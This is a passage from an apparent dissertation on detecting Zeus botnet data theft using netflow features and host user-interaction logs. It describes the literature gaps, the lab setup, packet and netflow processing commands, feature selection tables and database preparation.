data to a command and control server via encrypted HTTP POST requests. Dietrich,
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Rossow, and Pholmann (2013) experimented with an unsupervised learning approach to
detection of Zeus and other bot malware using network traffic features to include
message length, protocol, and HTTP encoding. Using their hierarchical clustering they
found that Zeus P2P, among others, did not have a distinctive message length.

Gaps in the Literature
The following gaps noted in the literature are based on a synthesis of the reported
approaches from multiple perspectives, namely, machine learning, problem domain, and
theoretical perspectives. These gaps are grouped into those resulting from the bot
detection literature and those resulting from the AIS literature.
Using Mitchell’s definition of machine learning as a guide (Mitchell, 1997), the
review of bot detection literature revealed a noticeable lack of techniques that benefitted
from new experience. The human expert validation provided to the methods of Binkley
and Singh (2006) and Goebel and Holz (2007) were a manual step in that direction, but
automated techniques were not reported. Prior knowledge, on the other hand, was used
extensively by the methods presented. In fact, this revealed another key gap in the bot
detection literature: techniques for independently validating selected and constructed
features. Most of the researchers reported the use of heuristically derived (constructed)
features for model development and validation, but not for feature subset validation. The
reasons for choosing their features were based on domain knowledge and likely the
success of previously reported results from other researchers. However, the more formal
approach to feature selection as a separate process (Guyon, 2007) and its benefits were
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not reported by many of these researchers, with the notable exception of Livadas, Walsh,
Lapsley, and Strayer (2006).
While a number of the bot detection methods presented in this chapter were described
as anomaly detection techniques, few of them (Shin, Xu, & Gu, 2012) made explicit
reference to the one-class classification methods described in the machine learning
literature (Duda, Hart, & Stork, 2001; Hempstalk, 2009; Mitchell, 1997). As a result,
these anomaly detection methods were generally not compared with multi-class
classifiers. Perhaps comparing these anomaly detection (one-class classifier) methods
with multi-class classifiers that had been trained with labeled anomalies might have led
more researchers toward techniques that incorporated learning from new experience.
Filtering of network traffic to reduce computational intensity was a common theme
among the bot detection researchers, even those not focusing exclusively on the IRC
protocol (Gu, Perdisci, Zhang, & Lee, 2008; Gu, Porras, Yegneswaran, Fong, & Lee,
2007; Villamarín-Salomón & Brustoloni, 2009; Yen & Reiter, 2008). Most authors
pointed out the information loss trade-off that resulted from filtering whole categories of
network traffic. However, most of the reported filtering was done heuristically without
first evaluating all of the available features for relevance.
The AIS literature also left a gap regarding independent validation of selected and
constructed features. In immunology, epitopes represent the patterns of interest to the
antibodies. It follows that the fewest number of features to uniquely differentiate
antigens from the host cells would be desirable, thus the epitopes are equivalent to feature
vectors in machine learning.
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The challenge of managing immune system memory in an AIS was another area not
fully investigated. Kephart, Sorkin, Arnold, Chess, Tesauro, and White (2009) provided
one very simple and direct approach, but many others did not address the issue.
The challenge of providing adequate coverage of the non-self space with negative
selection approaches was addressed by several of the AIS researchers, but not from a
theoretical perspective. Each approach seemed to impose limits on the non-self space
that may not be realistic for a real world dynamic threat environment. Intuition suggests
that it would be easier to define a finite self than an infinite non-self, and thus positive
selection and traditional anomaly detection approaches would be more efficient.
Researchers demonstrated a tractable negative selection approach based on a finite
alphabet and a fixed string length, but those self strings had to remain stable over time.
The same was not demonstrated for more complex relationships across dynamic data.
This leaves the theoretical question of when to use positive selection versus negative
selection open.
Few of the AIS methods explicitly referenced one-class classification methods either.
AIS approaches designed to detect non-self activity based on a model of self created with
self-only training data could be described as either an anomaly detection or a one-class
classification problem. Framing the problem as a one-class classification problem might
help close the research gap between contemporary machine learning methods and
artificial immune systems.
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Summary
This chapter provided a review and analysis of research associated with bot activity
detection and with the application of artificial immune systems and related anomaly
detection methods to information security. Fundamental to the analysis of the literature
were concepts from Machine Learning, which were also presented. A review of research
specifically applied to the detection of Zeus bot malware was presented. This body of
research highlighted the previously reported patterns of Zeus network behavior. Review
of the literature revealed gaps from a machine learning perspective, from a problem
domain perspective, and from a theoretical perspective. These gaps were identified and
discussed, and served as a guide for the research presented here.
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Chapter 3
Methodology

Overview
The problem of detecting data theft from a networked computer was treated as a
pattern classification problem. The independent variables under consideration were the
bot exfiltration activities and the dependent variables were the detection methods (AlBataineh & White, 2012; Brezo, Santos, Bringas, & del Val, 2011; Zhang, Yu, Wu, &
Watters, 2011). In this work the detection methods took the form of classifiers with
varying feature sets. The impact of adding a novel feature, based on user interaction with
the host, was the primary objective. Another objective was to find the combination of
classifier and feature set with the best performance, measured in terms of highest true
positive rate with lowest false positive rate. A constraint was imposed on the set of
features available from the benign and malicious network traffic to reduce the compute
intensity. Only summary level features resulting from software that produced network
flows, or netflows, was used. Celik, Raghuram, Kesidis, and Miller (2011), Gu, Perdisci,
Zhang, and Lee (2008), Gu, Porras, Yegneswaran, Fong, and Lee (2007), Haddadi,
Runkel, Zincir-Heywood, and Heywood (2014), Yen and Reiter (2008, 2010) and
Zeidanloo, Hosseinpur, and Boraziani (2010) used the network flow approach to simplify
the feature selection process and reduce the computational intensity of their respective
bot activity detection methods which were goals in this work. This approach has a
potential drawback, however. Namely, these flow records do not provide full details
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about individual packets or their payloads, thus limiting the number of observed features
available. The innovation in this approach was the integration of a feature derived from
an independent process for monitoring user interaction with the infected host.
The methodology included steps to determine the most discriminating features that
could be derived from the data through feature selection and feature construction, and
steps to determine the best performing classifier under increasingly complex conditions.
The first set of conditions was designed to evaluate the classifiers against a relatively
small dataset after being trained with examples of both classes, benign and malicious.
The final set of conditions was designed to evaluate the classifiers against relatively large
datasets divided into separate training and testing subsets, where the testing subsets
consisted entirely of flows the classifiers had never seen. The nature of the underlying
network data in the datasets was also significant, consisting of some repeating patterns of
application network activity and some novel patterns introduced through user interaction.
The traditional approach to solving classification problems involves iteration over a
series of steps (Bishop, 2007; Duda, Hart, & Stork, 2001; Guyon, 2007; Mitchell, 1997),
as depicted in Figure 3-1. Prior knowledge about the problem domain can be used to
bootstrap the feature and model selection steps, particularly in cases where the number or
dimensionality of the features is high or where training data is sparse (Guyon, 2007).
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Figure 3-1. Methodology for Designing a Classifier (Duda, Hart, & Stork, 2001)
The number of available features for this work was over one hundred, thus the use of
domain knowledge in the feature selection process was appropriate. Note also that this
methodology employed a supervised learning approach that included a training step. The
training step required data labeled with the proper classes. In multi-class classification
problems, the training set requires labeled instances of each category. Data representing
known malicious bot activity was used to validate and test the classifiers in the evaluation
step.

Data Collection Approach
This work required generating both the host interaction data and the benign network
data that would subsequently be integrated with malicious network data to train and test
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the classifiers. Most of the data was produced on an isolated network segment comprised
of physical hosts. Benign data was collected when this segment was connected to the
Internet. Malicious bot activity samples were then merged with the higher volume
benign samples. Al-Bataineh and White (2012), Celik, Raghuram, Kesidis, and Miller
(2011), Hofmeyr and Forrest (2000), Strayer, Walsh, Livadas, and Lapsley (2006), and
Zhang, Luo, Perdisci, and Gu (2011) employed similar methods of integrating malicious
samples with benign network traces. This approach has a number of merits. First, it
avoids the dangers and potential legal and ethical issues of dealing with bot malware in
the wild which come with the use of honeypots on the Internet. For example, allowing a
host to be compromised and remotely controlled could inadvertently result in its use for
illegal purposes such as a contributor to a distributed denial of service attack (Sadasivam,
Samudrala, and Yang, 2005). Next, it allows for control over relevant host and network
activity, which is essential from an experimental perspective. This approach also allows
for faster-than-real-time processing and repeatability for the evaluation steps (Hofmeyr
and Forrest, 2000). Unfortunately, this approach limits the ability to directly compare
results with those from other researchers, since unique data sets are created and used.
However, the comparison of true and false positive rates from independent data sets is a
commonly accepted research practice and was used for this work.
The first step in the data collection process was to configure a local area network with
hosts for generating and collecting network traffic. This network consisted of two
physical hosts for generating network traffic and one physical host for capturing it. The
two hosts for generating data were equipped with software to monitor and record user
interaction. Both were laptop personal computers running Microsoft Windows operating
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systems, one Windows XP and the other Windows 7. The host for capturing data was
desktop personal computer running a Linux operating system, CentOS. A network hub
as opposed to a switch was used to connect the hosts. This allowed the Linux host, which
was responsible for capturing data, to see all network traffic to and from the three hosts
connected to the hub. Thus data could be captured from two vantage points, the network
interface and the operating system of the host to be protected. From the network
interface perspective, all network traffic to and from the host was captured using the
tcpdump command on the Linux workstation. From the host operating system
perspective, all user interaction with application software and within a browser was
captured using a software application designed for recording such information.
The next step was to generate benign network traffic. This step consisted of
connecting the local network to the Internet, allowing network-enabled software
applications to communicate with remote hosts, and interacting with network-enabled
software to generate dynamic network traffic. In order to ensure that the patterns of
network behavior changed over time, a variety of user interaction scenarios were
executed while the data is being captured. One of the scenarios was user configuration of
system software to automatically communicate with remote hosts, namely operating
system software performing periodic updates. Another scenario was user installation of
new software onto the system which would then independently communicate with remote
hosts, namely an email client. Another scenario was user interaction with web browser
software to read news articles and watch news videos from a news aggregator web site,
namely Google News.
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Figure 3-2 provides a graphic example of the resulting data when the destination
addresses (remote servers) of the benign netflows are plotted over time. In this view, the
points that appear to fall along a horizontal line represent repeated sessions with the same
remote server. Points that appear to fall along a vertical line represent sessions with
many different remote servers at nearly the same time and correspond to periods of user
interaction. On April 9th, the Mozilla Thunderbird email client was installed, configured
for a Microsoft email account, and activated on the host. What appears in the plot to be a
solid horizontal line is actually four parallel streams of frequent netflows (TCP sessions)
with corresponding Microsoft email servers.

Figure 3-2. Plot of network sessions with remote servers over time
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The plot in Figure 3-2 consists of 487,490 netflows to 3,700 unique destination
addresses during the month of April 2013 and highlights the steady increase in the
cumulative number of remote servers a typical host communicates with over time and the
corresponding challenge of whitelisting approaches to monitoring network activity. The
number of unique destination addresses increased to 4,440 by the end of May 2013 and to
5,576 by the end of June 2013 in the benign dataset.
The final step in the data collection process was to acquire samples of actual network
traffic from the Zeus botnet. Acquiring samples of Zeus traffic was accomplished by
searching and retrieving files from the Internet and by requesting and receiving samples
via email from honeypot operators. The first samples of Zeus network traffic were found
on a Sourcefire VRT Labs web site associated with the Snort® open source intrusion
detection system. Three packet capture files were provided as links within an undated
online report titled Analysis of the Zeus Trojan by Alex Kirk. The internal packet
timestamps reveal that the network activity occurred on the 25th and 26th of February
2010. These samples will be referred to as the 2010 Zeus in subsequent sections. Two
additional samples of Zeus network traffic were found on a web site called Contagio
Malware Dump. One was classified as Zeus and the other as Game-Over Zeus and they
were captured in March and February of 2012, respectively. These samples will be
referred to as the 2012 Zeus in subsequent sections. The final, and largest, set of Zeus
samples was received from a research group that operates a honeynet for the purpose of
capturing samples of malware in the wild. This dataset is described in the next section
and in Appendix A.

64

Analysis of Zeus Network Data Samples
Samples of network traffic from the Zeus botnet were evaluated through manual deep
packet inspection using the Wireshark network protocol analyzer. Table 3-1 summarizes
fifteen files containing network traffic samples of Zeus that were received from the
operators of Sandnet, an environment for analyzing the network behavior of malware
implemented at the Institute for Internet Security, University of Applied Sciences in
Gelsenkirchen, Germany (Rossow et al., 2011). These samples were captured in the wild
in March and April 2014. In the table, filenames are truncated to the last three characters
of their original form. The Total Connections column provides the number of unique
TCP connections in the file. The Suspicious Connections column provides the number of
connections to other than well-known Google or Microsoft servers. The 30 sessions with
Google servers contained only HTTP GET methods, as did the single session with a
Microsoft Windows Update server. The remaining sessions with suspicious servers
contained HTTP GET, HTTP POST, or both, as enumerated in the Suspicious GET and
Suspicious POST columns. Note that some connections contained multiple HTTP
request methods. The Domain Generation column indicates whether or not an automatic
domain generation algorithm (DGA) was observed in that sample file. Note that the first
eight files in the table each included POST requests but did not use a DGA for domain
names. Conversely, the next seven files did use a DGA but did not include any POST
requests. Since the HTTP POST method is known to be used by Zeus to transfer stolen
data from the infected client (Binsalleeh, Ormerod, Boukhtouta, Sinha, Youssef,
Debbabi, & Wang, 2010; Riccardi, Di Pietro, Palanques, & Vila, 2013) and none of the
HTTP GET methods in the seven DGA files included a payload, only the first eight files
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are detailed here. These eight files provided the samples for testing and comparing
detection rates.

Table 3-1. Files of Real-world Zeus Network Trace Data from 2014
Filename
Total
(last-3) Connections
32c
16
b8c
15
2d7
9
9ca
9
054
7
3f9
7
3b7
6
058
3
d61
14
390
8
6a5
6
766
6
102
5
a87
4
b21
4

Suspicious
Connections
16
11
7
7
3
5
3
3
12
6
4
4
3
2
2

Suspicious
GET
10
0
0
1
8
0
1
0
12
6
4
4
3
2
2

Suspicious
POST
11
11
14
15
2
20
2
3
0
0
0
0
0
0
0

Domain
Generation?
No
No
No
No
No
No
No
No
Yes
Yes
Yes
Yes
Yes
Yes
Yes

The analysis of these samples provides new evidence that Zeus uses the HTTP
protocol to load malware on a victim host and to transmit data from the compromised
host to a remote server. These examples demonstrate that the GET and POST methods
were used to retrieve malware files from a remote server and that the GET and POST
methods were used to send encrypted data to a remote server. Use of the POST method
to retrieve malware files was not reported by Al-Bataineh and White (2012), Binsalleeh,
Ormerod, Boukhtouta, Sinha, Youssef, Debbabi, and Wang (2010), Kirk (2010), or
Riccardi, Di Pietro, Palanques, and Vila (2013).
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By way of comparison, the example in Table 3-2 of 2012 Zeus also provided evidence
of a Zeus instance using both the GET and POST methods to retrieve malware files from
a remote server. However, the payload was not encrypted in either of the file requests
using the POST method in contrast to the 2014 Zeus examples.
Table 3-2. Real-world Zeus Network Trace Data from 2012
Filename
Total
(last-3) Connections
2cc
11

Suspicious
Connections
10

Suspicious
GET
2

Suspicious
POST
8

Domain
Generation?
No

The examples in Table 3-3 of 2010 Zeus provide evidence of Zeus instances using
only the GET method to retrieve malware files from a remote server. The POST method
was used only to send encrypted data, likely status messages. Note that some
connections in the third file contained multiple HTTP request methods.
Table 3-3. Real-world Zeus Network Trace Data from 2010
Filename
Total
(last-3) Connections
e-1
71
e-2
5
e-3
5

Suspicious
Connections
15
5
5

Suspicious
GET
2
2
3

Suspicious
POST
13
3
4

Domain
Generation?
No
No
No

Packet Inspection Process
The first step in the packet inspection process is to open the packet capture trace file in
Wireshark. By default Wireshark displays three panes: Packet List, Packet Details, and
Packet Bytes. Figure 3-3 illustrates the first lines of the Packet List window pane from
which a TCP connection can be chosen from one of its packets.
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Figure 3-3. Wireshark time-ordered packet listing

The next step is to use the “Follow TCP Stream” function of Wireshark which
displays a summary of the information from all packets comprising that TCP connection
between the client and remote server. Figure 3-4 illustrates how Wireshark presents the
contents of the connection in ASCII format for inspection. HTTP header information
plus any message content from the local client is shown first and highlighted in one color,
header plus any message content from the remote server is shown next and highlighted in
a second color. A given TCP connection, defined by the traffic over a unique source and
destination IP and port combination, may contain multiple exchanges of HTTP messages.
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Figure 3-4. Wireshark “Follow TCP Stream” “ASCII” View

The “Follow TCP Stream” function of Wireshark offers additional formats for
viewing. The “Hex Dump” view, as shown in Figure 3-5, provides a running count in its
left-most column which is convenient for determining byte totals of the HTTP messages.
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Figure 3-5. Wireshark “Follow TCP Stream” “Hex Dump” View

Using these views within Wireshark, the contents of the HTTP messages can be
evaluated for peculiarities in the use of headers and body.
Part of the evaluation process is to look up the destination IP address and any
hostname provided in the HTTP Host header. The whois command provides a query
service for IP address and domain name registration information. The Zeus Tracker web
site provides a query service for information on previously identified Zeus command and
control (C&C) and supporting servers.
The final step in the inspection process is to compare features derived from the TCP
connections using Wireshark with features derived automatically using Argus to generate
net flows. This step reveals how Argus partitions a single TCP connection into one or
more net flows and how much packet overhead from IP and TCP wrappers is included.
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Appendix A is organized into sections for each of the sample files examined, with
subsections for each TCP connection. In most of the subsections the HTTP headers are
shown but the message bodies are removed. This is to reduce the amount of non-readable
text in the appendix. The local client IP address within the honeynet is not relevant to
the analysis and therefore not explicitly stated. The destination port value is always 80
and therefore not explicitly stated.

Collection of Benign Network Data and User Interaction Data
A network consisting of three hosts, one hub, and one router connected to the Internet
formed the experimentation environment. Two hosts were used for generating network
traffic and one for capturing and analyzing the network data. The primary producer host
was configured with Windows XP Service Pack 2 as its operating system and 10.0.1.101
as its IP address. The secondary producer host was configured with Windows 7 as its
operating system and 10.0.1.110 as its IP address. The monitor host was configured with
CentOS 6.3 Linux as its operating system and 10.0.1.100 as its IP address. The router
was configured with 10.0.1.1 as its IP address. The monitor and producer hosts were
configured to use Network Time Protocol (NTP) and connect to the same NTP server for
updates so their clocks would remain synchronized. The hub device was used to enable
the monitor host to see and capture the network traffic to and from all hosts.
The primary producer host, henceforth called host 101 for its abbreviated IP address,
was used to generate network traffic both automatically and interactively through
software applications that establish remote network connections. For example, its
Windows XP operating system was configured to automatically check for updates from
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remote Microsoft servers. An email client was loaded and configured to automatically
check for new mail. NTP was enabled. A web browser application was periodically left
connected to a web site hosting resources that automatically refreshed. A user interacted
with host 101 on an aperiodic basis, starting and stopping applications, loading new
applications, checking email, and browsing the web. The secondary producer host was
used in the same fashion, though with less frequent user interaction. Traffic from the
secondary producer host was envisioned to serve as a back-up source of data. Since it
was not needed, data collected from that host will be retained for future work.
The tcpdump command was used to capture all packets on the local network and
store them in files with a date and time stamp as part of the filename. This data provided
samples of benign network traffic, under varying conditions, that was subsequently
merged with malicious network traffic for the experimentation. The packet capture
process ran continuously on the Linux monitor host. The tcpdump command was used
with the following parameters:
tcpdump -tttt -G 7200 -Z root -w ‘out-%Y%m%d-%H%M’

This command produced an uninterrupted series of packet capture files, each two hours
long (7200 seconds), for the period 01 March through 18 July 2013. The capture files
were stored in subdirectories named 2013-03, 2013-04, 2013-05, 2013-06, and 2013-07.
The resulting file type for each was "tcpdump capture file (little-endian) - version 2.4
(Ethernet, capture length 65535)" which can be obtained by issuing the file command
(Unix) with any of the individual filenames as a parameter. The Wireshark network
protocol analyzer reads this format natively.
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To capture data about user interaction with host 101, a third party application was
used. This application, KidLogger, kept a record of keystrokes made, applications
launched, and web sites visited in the form of HTML log files. This application was
chosen from among several competing offerings because of its logging function and
format, and because of its apparent robustness to changes in the host configuration. The
user interaction capture process ran continuously on host 101 from 31 March through 18
July 2013 and produced a log for each day of user interaction. Since the logs were
created in HTML format they were both human readable and relatively easy to parse.
Figure 3-6 illustrates an example of two interaction log entries.
<p class="app" time="11:53" name="chrome">11:53 Google - Google
Chrome </p>
<p class="keystrokes" name="www.google.com" dur="0"
time="11:53">scrapple</p>

Figure 3-6. Sample Entries from Interaction Log
In this example, the user selected the Chrome browser application (first log entry) and
then entered the word “scrapple” on the www.google.com web page (second log entry) at
a time of 11:53. This highlights that the relevant features, action and time, are in quotes
and therefore easy to parse. It also highlights one of the deficiencies of using this
particular software: poor fidelity of the timestamp. Stated more specifically, the event
time is only recorded to the minute with the seconds truncated. This lack of higher
fidelity time information was accommodated, as described in a later section.
To collect samples of malicious Zeus network activity, the Internet was scoured for
network trace files and email requests were sent to honeynet operators. Searching the
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Internet produced a small set of sample files that served as the basis for developing and
refining the experimentation methodology. The email requests for data resulted in a more
current and comprehensive set of sample botnet packet capture files that were used for
the experimentation. These samples were collected in March and April of 2014. The
detailed analysis of these contemporary Zeus network traffic samples is provided in
Appendix A.

Data Preparation and Management
This work focused on the features available from network traffic summaries as
opposed to individual packets. The aggregation of packets into meaningful summaries
before classification reduces the amount of processing required and therefore increases
speed, an important consideration for network intrusion detection systems. Commercial
routers, such as those produced by Cisco, include the generation of flow records in their
operating systems. Open Source tools, such as Argus, are also available to provide
similar functionality at the network interface or from packet capture files. Argus was
used for this research. Converting packet capture files to transaction-level summaries,
henceforth called netflows, with the open source application Argus was a two-step
process. The first step created netflows from the capture files using the argus
command, and the second step created readable text files for viewing and subsequent
parsing using the ra command. The argus command was used with the following
parameters:
argus -A -J -R -r <pkt-in-file> -w <argus-out-file>

where
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-A generated application byte metrics in each audit record,
-J generated packet performance data in each audit record,
-R generated records such that response time can be derived,
-r was the packet file to read, and
-w was the Argus file to write.
The ra command was used with the following parameters:
ra -nn –F rarc -r <argus-out-file> > <outfile>

where
-nn suppressed lookups for port to service and protocol to name,
-F specified a configuration file with additional parameters, and
-r was the Argus file to read.
Note that fields (features) were specified in the configuration file (rarc). The ra
command was first used to produce all supported features for evaluation. Once the
relevant features were chosen, as described in a subsequent section, the ra command was
then used with the chosen subset of features listed in its configuration file, as seen with
the RA_FIELD_SPECIFIER in Figure 3-7.
RA_TIME_FORMAT="%FT%T"
RA_FIELD_DELIMITER=','
RA_PRINT_NAMES=proto
RA_FIELD_SPECIFIER= stime proto saddr sport daddr dport dur
sbytes dbytes stos dtos sttl dttl spkts dpkts sappbytes dappbytes
sload dload srate drate sloss dloss sintpkt dintpkt sjit djit
state stcpb dtcpb tcprtt synack ackdat inode offset flgs tcpopt
dir rate ltime

Figure 3-7. Configuration File (rarc) Contents
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In order to facilitate the process of converting the large collection of packet capture
files to netflow files, scripts were used to run the argus and ra commands against a list
of the capture files. Table 3-4 describes this process.
Table 3-4. Steps for Batch Creation of Netflow Files
1. Create a list of argus ll out-* | awk '{ print $9 }' >> file-list
input files (file-list)
2. Run argus against

#!/bin/bash

each file in list (script

# use with file of filenames called file-list

batchArgus)
3. Create a list of argus

for i in $(cat file-list); do argus -A -J -R -r $i
-w $i.argus; done
ll *.argus | awk '{ print $9 }' >> file-list-argus

output files (file-listargus)
4. Run ra against each

#!/bin/bash

file in new list (script

# use with file of filenames called file-list-

batchRa)

argus
for i in $(cat file-list-argus); do ra -nn -F rarc
-r $i > $i.ra; done

Initial Feature Selection
An analysis of all features produced by Argus (version 3.0.6) on the experimental data
revealed that many Argus flow features were not likely to be useful. They had zero, null,
or fixed values, or they repeated the values of another feature. Table 3-5 summarizes the
results of this analysis and includes a column labeled “Useful” to distinguish between
those 63 features that were initially considered and those 40 that were not. After further
analysis, 23 of the 63 initial candidates were also deemed unnecessary. The predominant
reason for this further reduction was feature independence. For example, the feature
named packets (pkts) was not necessary since it was simply a sum of source packets
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(spkts) and destination packets (dpkts). Other features were removed because their
observed values were inconsistent with samples of the benign trace data. The 40 features
that remained equate to those specified in the configuration file (rarc) in Figure 3-7.
Table 3-5. Full Set of Candidate Netflow Features from Argus
Feature

Description

Sample Results

Useful

stime

record start time

hh:mm:ss.SSSSSS

Y

ltime

record last time

hh:mm:ss.SSSSSS

Y

flgs

flow state flags seen in transaction

in fixed positions

Y

seq

argus sequence number

incrementing int

dur

record total duration

0.000000s

smac

source MAC address

of local h/w ( argus -m )

Y

N

dmac

destination MAC address

of local h/w ( argus -m )

Y

N

soui

oui portion of the source MAC address

of local h/w ( argus -m )

Y

N

doui

oui portion of the source MAC address

of local h/w ( argus -m )

Y

N

saddr

source IP address

IPv4 address

Y

daddr

destination IP address

IPv4 address

Y

proto

transaction protocol

tcp, udp, etc.

Y

sport

source port number

use -n for number

Y

dport

destination port number

use -n for number

Y

stos

source TOS byte value

discreet values or blank

Y

dtos

destination TOS byte value

discreet values or blank

Y

sdsb

source diff serve byte value

cs0, cs1, etc. or blank

Y

N

ddsb

destination diff serve byte value

cs0, cs1, etc. or blank

Y

N

sttl

src -> dst TTL value

discreet values or blank

Y

dttl

dst -> src TTL value

discreet values or blank

Y

sipid

source IP identifier

hex value or blank

Y

N

dipid

destination IP identifier

hex value or blank

Y

N

Y

N
Y
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Feature

Description

Sample Results

Useful

pkts

total transaction packet count

discreet values not blank

spkts

src -> dst packet count

discreet values not blank

Y

dpkts

dst -> src packet count

discreet values not blank

Y

bytes

total transaction bytes

discreet values not blank

sbytes

src -> dst transaction bytes

discreet values not blank

Y

dbytes

dst -> src transaction bytes

discreet values not blank

Y

appbytes

total application bytes

discreet values not blank (
argus -A )

sappbytes

src -> dst application bytes

discreet values not blank (
argus -A )

Y

dappbytes

dst -> src application bytes

discreet values not blank (
argus -A )

Y

load

bits per second

float with asterisk or
0.000000

sload

source bits per second

float with asterisk or
0.000000

Y

dload

destination bits per second

float with asterisk or
0.000000

Y

loss

pkts retransmitted or dropped

0, 1, 2, etc.

sloss

source pkts retransmitted or dropped

0, 1, 2, etc.

Y

dloss

destination pkts retransmitted or dropped

0, 1, 2, etc.

Y

ploss

percent pkts retransmitted or dropped

float with asterisk or
0.000000

rate

pkts per second

float without asterisk

Y

srate

source pkts per second

float without asterisk

Y

drate

destination pkts per second

float without asterisk

Y

dir

direction of transaction

->, <->, <-, <?>, or 'who'

Y

sintpkt

source interpacket arrival time (mSec)

float without asterisk (
argus -J )

Y

Y

N

Y

N

Y

N

Y

N

Y

N

Y

N
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Feature

Description

Sample Results

sintpktact

source active interpacket arrival time
(mSec)

float without asterisk (
argus -J )

Y

N

sintpktidl

source idle interpacket arrival time (mSec) float without asterisk (
argus -J )

Y

N

dintpkt

destination interpacket arrival time (mSec) float without asterisk (
argus -J )

dintpktact

destination active interpacket arrival time
(mSec)

float without asterisk (
argus -J )

Y

N

dintpktidl

destination idle interpacket arrival time
(mSec)

float without asterisk (
argus -J )

Y

N

sjit

source jitter (mSec)

float without asterisk or
blank ( argus -J )

sjitact

source active jitter (mSec)

float without asterisk or
blank ( argus -J )

djit

destination jitter (mSec)

float without asterisk or
blank ( argus -J )

djitact

destination active jitter (mSec)

float without asterisk or
blank ( argus -J )

state

transaction state

CON, INT, FIN, etc.

swin

source TCP window advertisement

int (some w/asterisk) or
blank

Y

N

dwin

destination TCP window advertisement

int (some w/asterisk) or
blank

Y

N

stcpb

source TCP base sequence number

int or blank

Y

dtcpb

destination TCP base sequence number

int or blank

Y

tcprtt

TCP connection setup round-trip time sum of ’synack’ and ’ackdat’

float without asterisk

Y

synack

TCP connection setup time - time between float without asterisk
SYN and SYN_ACK packets

Y

ackdat

TCP connection setup time - time between float without asterisk
SYN_ACK and ACK packets

Y

tcpopt

The TCP connection options seen at

Y

in fixed positions

Useful

Y

Y
Y

N
Y

Y

N
Y
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Feature

Description

Sample Results

Useful

initiation
inode

ICMP intermediate node

IPv4 address

Y

offset

record byte offset in file or stream

incrementing int

Y

srcid

argus source identifier

Always 0.0.0.0

N

trans

aggregation record count

Always 1

N

runtime

total active flow run time

same as dur

N

mean

average duration of aggregated records

same as dur

N

stddev

standard deviation of aggregated duration
times

Always 0.000000

N

sum

total accumulated durations of aggregated
records

same as dur

N

min

minimum duration of aggregated records

same as dur

N

max

maximum duration of aggregated records

same as dur

N

sco

source IP address country code

blank

N

dco

destination IP address country code

blank

N

smpls

source MPLS identifier

blank

N

dmpls

destination MPLS identifier

blank

N

psloss

percent source pkts retransmitted or
dropped

does not work

N

pdloss

percent destination pkts retransmitted or
dropped

does not work

N

sgap

source bytes missing in data stream.
Available after argus-3.0.4

zero or blank

N

dgap

destination bytes missing in data stream.
Available after argus-3.0.4

zero or blank

N

sintdist

source interpacket arrival time distribution blank

N

sintdistact

source active interpacket arrival time
(mSec)

blank

N

sintdistidl

source idle interpacket arrival time (mSec) blank

N
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Feature

Description

Sample Results

Useful

dintdist

destination interpacket arrival time
distribution

blank

N

dintdistact

destination active interpacket arrival time
distribution (mSec)

blank

N

dintdistidl

destination idle interpacket arrival time
distribution

blank

N

sjitidle

source idle jitter (mSec)

does not work

N

djitidle

destination idle jitter (mSec)

does not work

N

suser

source user data buffer

blank

N

duser

destination user data buffer

blank

N

svlan

source VLAN identifier

blank

N

dvlan

destination VLAN identifier

blank

N

svid

source VLAN identifier

blank

N

dvid

destination VLAN identifier

blank

N

svpri

source VLAN priority

blank

N

dvpri

destination VLAN priority

blank

N

srng

start time for the filter timerange

blank

N

erng

end time for the filter timerange

blank

N

spktsz

histogram for src packet size distribution

blank

N

smaxsz

maximum packet size for traffic
transmitted by the src

blank

N

dpktsz

histogram for dst packet size distribution

blank

N

dmaxsz

maximum packet size for traffic
transmitted by the dst

blank

N

sminsz

minimum packet size for traffic
transmitted by the src

blank

N

dminsz

minimum packet size for traffic
transmitted by the dst

blank

N
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This process resulted in the conversion of all files of packets into files of netflows
consisting of 40 features. The next step was to parse relevant information from the
interaction logs, namely the time and type of interaction. Parsing the interaction logs
required multiple steps which are described in Table 3-6. Again scripts were used to
iteratively process lists of files.
Table 3-6. Procedure for Parsing Interaction Logs
1. Rename daily log files to

mv “1 July,Monday.htm” 2013-07-01

YYYY-MM-DD (for datetime)
2. Create a list of log files

ll 2013-* | awk '{ print $9 }' >>
loglist

3. Extract URL and APP

#!/bin/bash

entries, maintaining sequence,

# use with list of filenames

output to subdirectory since

for i in $(cat loglist); do grep

names collide

'class="url"\|class="app"' $i > out/$i ;
done

4. In subdirectory, parse

#!/bin/bash

relevant fields to new files,

for i in $(cat ../loglist); do awk -F'"'

adding date from filename

'{print FILENAME "T" $4 "," $2 "," $6 }'
$i > $i.parsed ; done

5. Combine results into single

cat *.parsed >> allParsed1

file
6. Keep only domain portion of

cat allParsed1 | awk -F'/' '{ print $1}'

URL field

> parsedLogs

Step 3 in Table 3-6 illustrates that only those log entries resulting from the use of a
browser or software application, signified by the classes “url” and “app” respectively,
were considered. These interactions were most likely to generate network traffic. Step 5
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in Table 3-6 illustrates that all entries selected from the individual interaction log files
were concatenated into a single file for subsequent use.
The next phase of the data preparation process was to create tables in a relational
database and load the respective data types into these tables. The goal was to simplify
the process of creating integrated data sets for training and testing the classifiers. The
MySQL software was used for this purpose. Once MySQL was properly installed and
configured for use, the first step was to create a table for the benign netflows. Figure 3-8
illustrates the SQL command for creating a table called “normflows” with the 40 features
equating to those previously selected and used in the Argus configuration file.
mysql> create table normflows
(time datetime, proto varchar(5),
saddr varchar(16), sport varchar(6),
daddr varchar(16), dport varchar(6),
dur decimal(12,6), sbytes int, dbytes int, stos int, dtos int,
sttl int, dttl int, spkts int, dpkts int, sappbytes int,
dappbytes int, sload decimal(12,6), dload decimal(12,6),
srate decimal(12,6), drate decimal(12,6), sloss int, dloss int,
sintpkt decimal(12,6), dintpkt decimal(12,6),
sjit decimal(12,6), djit decimal(12,6), state varchar(4),
stcpb bigint, dtcpb bigint, tcprtt decimal(12,6),
synack decimal(12,6), ackdat decimal(12,6), inode varchar(16),
offset int, flgs tinytext, tcpopt tinytext, dir tinytext,
rate decimal(12,6), ltime datetime,
id int not null auto_increment primary key);

Figure 3-8. Create Table for Netflow Features

Figure 3-8 highlights the choices made regarding the format for storing each feature.
For example, times were stored in “datetime” format (YYYY-MM-DD HH:MM:SS) with
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resolution to the second. Fixed position strings, such as flgs, tcpopt, and dir, were stored
in tinytext format to enable string functions such as field() to be used on them. IP
addresses were stored in “varchar” format which enabled retrieval as the common dotvalue string or as a numeric value using the inet_aton() function.
The same procedure was used to create tables for the Zeus samples, one table named
“oldzeus” and one named “newzeus” for the 2010 and 2014 Zeus data respectively. The
table for the interaction log data was much simpler, consisting of only three features.
